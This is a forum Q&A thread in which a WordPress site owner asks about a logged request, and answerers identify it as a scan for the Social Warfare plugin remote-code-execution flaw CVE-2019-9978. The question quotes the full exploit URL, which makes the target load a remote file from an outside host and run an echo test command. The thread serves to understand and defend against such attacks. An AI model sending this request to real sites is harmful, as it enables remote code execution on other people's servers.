0

I noticed there were over 550 malicious request rejected by the wordpress firewall but only this was accepted with HTTP 200 OK. This is the URL

http://domainname.com//wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://bearxcat.com//wp-includes/css/help.txt&wpaa=echo "h1loo1";

I am worried because i immediately googled the bearxcat.com, it was in another language and google stated this site might be hacked.

I immediately did a malware scan but nothing was found. I noticed after this request they sent /webconfig.txt.php, administrator/webconfig.txt.php but these were all rejected by the firewall.

Should i be worried about the one that was OK? Please Help!

3
  • 1
    Based on the URL, are you using the social warfare addon for WP? Because last month, it had a vulnerability discovered and it looks as though someone might be trying to exploit that.
    – Crumblez
    Apr 23, 2019 at 19:11
  • Thank you for the response Crumblez. No, I am not using the Social warfare plugin for WP. Never installed it. I dont know if I’m supposed to take an extra step. And if yes, what step. I know with security, the earlier the better.
    – Wortam
    Apr 23, 2019 at 19:25
  • If you're not using it, then I think you don't have anything to worry about. It might have just responded 200 OK because it could hit the admin section, not because it could actually execute anything. As far as next steps, if you make sure that all your plugins are updated as soon as updates are made available, then you should be ahead of the curve.
    – Crumblez
    Apr 23, 2019 at 19:43

1 Answer 1

1

This is attackers scanning for CVE-2019-9978 social warfare RCE (remote code execution) vulnerability

https://unit42.paloaltonetworks.com/exploits-in-the-wild-for-wordpress-social-warfare-plugin-cve-2019-9978/

It is trying to execute the benign test command of

echo "h1loo1"

The scanner/ attacker then tests to see whether they got the word "h1loo1" back in the response to know if the RCE succeeded or not.

As long as you don't have that plugin you're all good

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .